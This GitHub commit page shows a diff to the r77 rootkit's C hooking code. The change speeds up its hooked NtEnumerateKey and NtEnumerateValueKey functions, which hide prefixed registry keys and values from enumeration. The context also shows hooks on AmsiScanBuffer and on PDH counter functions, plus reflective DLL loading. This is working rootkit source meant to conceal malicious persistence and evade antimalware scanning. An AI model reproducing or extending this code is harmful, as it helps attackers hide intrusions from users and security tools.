Skip to content

Commit

Permalink
FIx NtEnumerateKey & ValueKey poor performance
Browse files Browse the repository at this point in the history
  • Loading branch information
@bytecode77
bytecode77 committed Dec 18, 2024
1 parent 5a718c9 commit b19c4e0
Show file tree
Hide file tree
Showing 3 changed files with 104 additions and 54 deletions.
155 changes: 103 additions & 52 deletions r77/Hooks.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,15 @@ static NT_PDHGETRAWCOUNTERARRAYW OriginalPdhGetRawCounterArrayW;
static NT_PDHGETFORMATTEDCOUNTERARRAYW OriginalPdhGetFormattedCounterArrayW;
static NT_AMSISCANBUFFER OriginalAmsiScanBuffer;

static DWORD TlsNtEnumerateKeyCacheKey;
static DWORD TlsNtEnumerateKeyCacheIndex;
static DWORD TlsNtEnumerateKeyCacheI;
static DWORD TlsNtEnumerateKeyCacheCorrectedIndex;
static DWORD TlsNtEnumerateValueKeyCacheKey;
static DWORD TlsNtEnumerateValueKeyCacheIndex;
static DWORD TlsNtEnumerateValueKeyCacheI;
static DWORD TlsNtEnumerateValueKeyCacheCorrectedIndex;

VOID InitializeHooks()
{
DetourTransactionBegin();
Expand All @@ -46,6 +55,15 @@ VOID InitializeHooks()
// EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC.
// There is no longer one single syscall wrapper function to hook, but multiple higher level functions.
// EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there.

TlsNtEnumerateKeyCacheKey = TlsAlloc();
TlsNtEnumerateKeyCacheIndex = TlsAlloc();
TlsNtEnumerateKeyCacheI = TlsAlloc();
TlsNtEnumerateKeyCacheCorrectedIndex = TlsAlloc();
TlsNtEnumerateValueKeyCacheKey = TlsAlloc();
TlsNtEnumerateValueKeyCacheIndex = TlsAlloc();
TlsNtEnumerateValueKeyCacheI = TlsAlloc();
TlsNtEnumerateValueKeyCacheCorrectedIndex = TlsAlloc();
}
VOID UninitializeHooks()
{
Expand All @@ -65,6 +83,15 @@ VOID UninitializeHooks()
UninstallHook(OriginalPdhGetFormattedCounterArrayW, HookedPdhGetFormattedCounterArrayW);
UninstallHook(OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
DetourTransactionCommit();

TlsFree(TlsNtEnumerateKeyCacheKey);
TlsFree(TlsNtEnumerateKeyCacheIndex);
TlsFree(TlsNtEnumerateKeyCacheI);
TlsFree(TlsNtEnumerateKeyCacheCorrectedIndex);
TlsFree(TlsNtEnumerateValueKeyCacheKey);
TlsFree(TlsNtEnumerateValueKeyCacheIndex);
TlsFree(TlsNtEnumerateValueKeyCacheI);
TlsFree(TlsNtEnumerateValueKeyCacheCorrectedIndex);
}

static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction)
Expand Down Expand Up @@ -224,7 +251,6 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event
if (GetFileType(fileHandle) == FILE_TYPE_PIPE) StrCpyW(fileDirectoryPath, L"\\\\.\\pipe\\");
else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);

// github issue #104
if (returnSingleEntry)
{
// When returning a single entry, skip until the first item is found that is not hidden.
Expand Down Expand Up @@ -336,43 +362,94 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve
}
static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength)
{
NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength);
if (keyInformationClass == KeyNodeInformation)
{
return OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength);
}

HANDLE cacheKey = (HANDLE)TlsGetValue(TlsNtEnumerateKeyCacheKey);
ULONG cacheIndex = (ULONG)TlsGetValue(TlsNtEnumerateKeyCacheIndex);
ULONG cacheI = (ULONG)TlsGetValue(TlsNtEnumerateKeyCacheI);
ULONG cacheCorrectedIndex = (ULONG)TlsGetValue(TlsNtEnumerateKeyCacheCorrectedIndex);

ULONG i = 0;
ULONG correctedIndex = 0;

if (cacheKey == key && cacheIndex == index - 1)
{
// This function was recently called the index - 1, so we can continue from the last known position.
// This increases performance from O(N^2) to O(N).
i = cacheI;
correctedIndex = cacheCorrectedIndex + 1;
}

BYTE buffer[1024];
PNT_KEY_BASIC_INFORMATION basicInformation = (PNT_KEY_BASIC_INFORMATION)buffer;

// Implement hiding of registry keys by correcting the index in NtEnumerateKey.
if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation))
for (; i <= index; correctedIndex++)
{
for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
if (OriginalNtEnumerateKey(key, correctedIndex, KeyBasicInformation, basicInformation, 1024, resultLength) != ERROR_SUCCESS)
{
status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength);
return OriginalNtEnumerateKey(key, correctedIndex, keyInformationClass, keyInformation, keyInformationLength, resultLength);
}

if (!HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass)))
{
newIndex++;
}
if (!HasPrefix(basicInformation->Name))
{
i++;
}
}

return status;
correctedIndex--;

TlsSetValue(TlsNtEnumerateKeyCacheKey, key);
TlsSetValue(TlsNtEnumerateKeyCacheIndex, index);
TlsSetValue(TlsNtEnumerateKeyCacheI, i);
TlsSetValue(TlsNtEnumerateKeyCacheCorrectedIndex, correctedIndex);

return OriginalNtEnumerateKey(key, correctedIndex, keyInformationClass, keyInformation, keyInformationLength, resultLength);
}
static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength)
{
NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
HANDLE cacheKey = (HANDLE)TlsGetValue(TlsNtEnumerateValueKeyCacheKey);
ULONG cacheIndex = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheIndex);
ULONG cacheI = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheI);
ULONG cacheCorrectedIndex = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheCorrectedIndex);

ULONG i = 0;
ULONG correctedIndex = 0;

// Implement hiding of registry values by correcting the index in NtEnumerateValueKey.
if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
if (cacheKey == key && cacheIndex == index - 1)
{
for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
// This function was recently called the index - 1, so we can continue from the last known position.
// This increases performance from O(N^2) to O(N).
i = cacheI;
correctedIndex = cacheCorrectedIndex + 1;
}

BYTE buffer[1024];
PNT_KEY_VALUE_BASIC_INFORMATION basicInformation = (PNT_KEY_VALUE_BASIC_INFORMATION)buffer;

for (; i <= index; correctedIndex++)
{
if (OriginalNtEnumerateValueKey(key, correctedIndex, KeyValueBasicInformation, basicInformation, 1024, resultLength) != ERROR_SUCCESS)
{
status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
return OriginalNtEnumerateValueKey(key, correctedIndex, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
}

if (!HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
{
newIndex++;
}
if (!HasPrefix(basicInformation->Name))
{
i++;
}
}

return status;
correctedIndex--;

TlsSetValue(TlsNtEnumerateValueKeyCacheKey, key);
TlsSetValue(TlsNtEnumerateValueKeyCacheIndex, index);
TlsSetValue(TlsNtEnumerateValueKeyCacheI, i);
TlsSetValue(TlsNtEnumerateValueKeyCacheCorrectedIndex, correctedIndex);

return OriginalNtEnumerateValueKey(key, correctedIndex, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
}
static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved)
{
Expand Down Expand Up @@ -700,30 +777,6 @@ static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFOR
break;
}
}
static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass)
{
switch (keyInformationClass)
{
case KeyBasicInformation:
return ((PNT_KEY_BASIC_INFORMATION)keyInformation)->Name;
case KeyNameInformation:
return ((PNT_KEY_NAME_INFORMATION)keyInformation)->Name;
default:
return NULL;
}
}
static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass)
{
switch (keyValueInformationClass)
{
case KeyValueBasicInformation:
return ((PNT_KEY_VALUE_BASIC_INFORMATION)keyValueInformation)->Name;
case KeyValueFullInformation:
return ((PNT_KEY_VALUE_FULL_INFORMATION)keyValueInformation)->Name;
default:
return NULL;
}
}
static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned)
{
for (DWORD i = 0; i < *servicesReturned; i++)
Expand Down Expand Up @@ -791,18 +844,16 @@ static DWORD GetProcessIdFromPdhString(LPCWSTR str)
// Parses a process ID from this type of string:
// "pid_1234_luid_0x00000000_0x0000C9DE_phys_0_eng_0_engtype_3D"

LPWSTR name = str;

if (!StrCmpNW(name, L"pid_", 4))
if (!StrCmpNW(str, L"pid_", 4))
{
name = &name[4];
PWSTR endIndex = StrStrW(name, L"_");
str = &str[4];
PWSTR endIndex = StrStrW(str, L"_");
if (endIndex)
{
WCHAR pidString[10];

DWORD strLength = endIndex - name;
i_wmemcpy(pidString, name, strLength);
DWORD strLength = endIndex - str;
i_wmemcpy(pidString, str, strLength);
pidString[strLength] = L'\0';

return StrToIntW(pidString);
Expand Down
2 changes: 0 additions & 2 deletions r77/Hooks.h
View file
Original file line number Diff line number Diff line change
Expand Up @@ -34,8 +34,6 @@ static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName)
static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name);
static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass);
static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value);
static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass);
static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass);
static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned);
static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW services, LPDWORD servicesReturned);
static BOOL GetIsHiddenFromPdhString(LPCWSTR str);
Expand Down
1 change: 1 addition & 0 deletions r77/ReflectiveDllMain.c
View file
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
#include "ReflectiveDllMain.h"
#include "ntdll.h"
#include "r77win.h"
#include "peb.h"

BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase)
Expand Down

0 comments on commit b19c4e0

Please sign in to comment.